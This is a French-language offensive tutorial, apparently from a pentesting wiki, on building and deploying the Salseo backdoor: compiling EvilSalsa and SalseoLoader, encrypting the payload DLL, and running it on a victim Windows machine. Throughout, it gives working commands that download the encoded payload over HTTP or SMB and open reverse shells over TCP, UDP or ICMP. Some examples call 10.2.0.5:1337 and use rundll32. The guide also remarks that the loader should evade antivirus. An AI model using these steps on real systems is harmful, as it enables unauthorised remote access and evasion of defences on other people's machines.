# Salseo
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## Compiler les binaires
Téléchargez le code source depuis github et compilez **EvilSalsa** et **SalseoLoader**. Vous aurez besoin de **Visual Studio** installé pour compiler le code.
Compilez ces projets pour l'architecture de la machine Windows où vous allez les utiliser (Si Windows prend en charge x64, compilez-les pour cette architecture).
Vous pouvez **sélectionner l'architecture** dans Visual Studio dans l'**onglet "Build" à gauche** dans **"Platform Target".**
(\*\*Si vous ne trouvez pas ces options, cliquez sur **"Project Tab"** puis sur **"\ Properties"**)
![](<../.gitbook/assets/image (839).png>)
Ensuite, construisez les deux projets (Build -> Build Solution) (Dans les logs, le chemin de l'exécutable apparaîtra) :
![](<../.gitbook/assets/image (381).png>)
## Préparer le Backdoor
Tout d'abord, vous devrez encoder le **EvilSalsa.dll.** Pour ce faire, vous pouvez utiliser le script python **encrypterassembly.py** ou vous pouvez compiler le projet **EncrypterAssembly** :
### **Python**
```
python EncrypterAssembly/encrypterassembly.py
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
```
EncrypterAssembly.exe
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Ok, maintenant vous avez tout ce dont vous avez besoin pour exécuter toutes les choses Salseo : le **EvilDalsa.dll encodé** et le **binaire de SalseoLoader.**
**Téléchargez le binaire SalseoLoader.exe sur la machine. Ils ne devraient pas être détectés par un AV...**
## **Exécuter le backdoor**
### **Obtenir un shell inverse TCP (télécharger dll encodé via HTTP)**
N'oubliez pas de démarrer un nc en tant qu'écouteur de shell inverse et un serveur HTTP pour servir l'evilsalsa encodé.
```
SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp
```
### **Obtenir un shell inverse UDP (téléchargement d'un dll encodé via SMB)**
N'oubliez pas de démarrer un nc en tant qu'écouteur de shell inverse, et un serveur SMB pour servir l'evilsalsa encodé (impacket-smbserver).
```
SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp
```
### **Obtenir un shell inverse ICMP (dll encodée déjà à l'intérieur de la victime)**
**Cette fois, vous avez besoin d'un outil spécial sur le client pour recevoir le shell inverse. Téléchargez :** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Désactiver les réponses ICMP :**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Exécuter le client :
```
python icmpsh_m.py "" ""
```
#### À l'intérieur de la victime, exécutons le truc salseo :
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp
```
## Compiler SalseoLoader en tant que DLL exportant la fonction principale
Ouvrez le projet SalseoLoader avec Visual Studio.
### Ajoutez avant la fonction principale : \[DllExport]
![](<../.gitbook/assets/image (409).png>)
### Installer DllExport pour ce projet
#### **Outils** --> **Gestionnaire de packages NuGet** --> **Gérer les packages NuGet pour la solution...**
![](<../.gitbook/assets/image (881).png>)
#### **Recherchez le package DllExport (en utilisant l'onglet Parcourir), et appuyez sur Installer (et acceptez la fenêtre contextuelle)**
![](<../.gitbook/assets/image (100).png>)
Dans votre dossier de projet, les fichiers suivants sont apparus : **DllExport.bat** et **DllExport\_Configure.bat**
### **D** désinstaller DllExport
Appuyez sur **Désinstaller** (ouais, c'est bizarre mais faites-moi confiance, c'est nécessaire)
![](<../.gitbook/assets/image (97).png>)
### **Quittez Visual Studio et exécutez DllExport\_configure**
Il suffit de **quitter** Visual Studio
Ensuite, allez dans votre **dossier SalseoLoader** et **exécutez DllExport\_Configure.bat**
Sélectionnez **x64** (si vous allez l'utiliser à l'intérieur d'une boîte x64, c'était mon cas), sélectionnez **System.Runtime.InteropServices** (dans **Namespace for DllExport**) et appuyez sur **Appliquer**
![](<../.gitbook/assets/image (882).png>)
### **Ouvrez à nouveau le projet avec Visual Studio**
**\[DllExport]** ne devrait plus être marqué comme erreur
![](<../.gitbook/assets/image (670).png>)
### Construire la solution
Sélectionnez **Type de sortie = Bibliothèque de classes** (Projet --> Propriétés de SalseoLoader --> Application --> Type de sortie = Bibliothèque de classes)
![](<../.gitbook/assets/image (847).png>)
Sélectionnez **plateforme x64** (Projet --> Propriétés de SalseoLoader --> Build --> Cible de la plateforme = x64)
![](<../.gitbook/assets/image (285).png>)
Pour **construire** la solution : Build --> Build Solution (Dans la console de sortie, le chemin de la nouvelle DLL apparaîtra)
### Tester la DLL générée
Copiez et collez la DLL où vous souhaitez la tester.
Exécutez :
```
rundll32.exe SalseoLoader.dll,main
```
Si aucune erreur n'apparaît, vous avez probablement un DLL fonctionnel !!
## Obtenir un shell en utilisant le DLL
N'oubliez pas d'utiliser un **serveur** **HTTP** et de définir un **écouteur** **nc**
### Powershell
```
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
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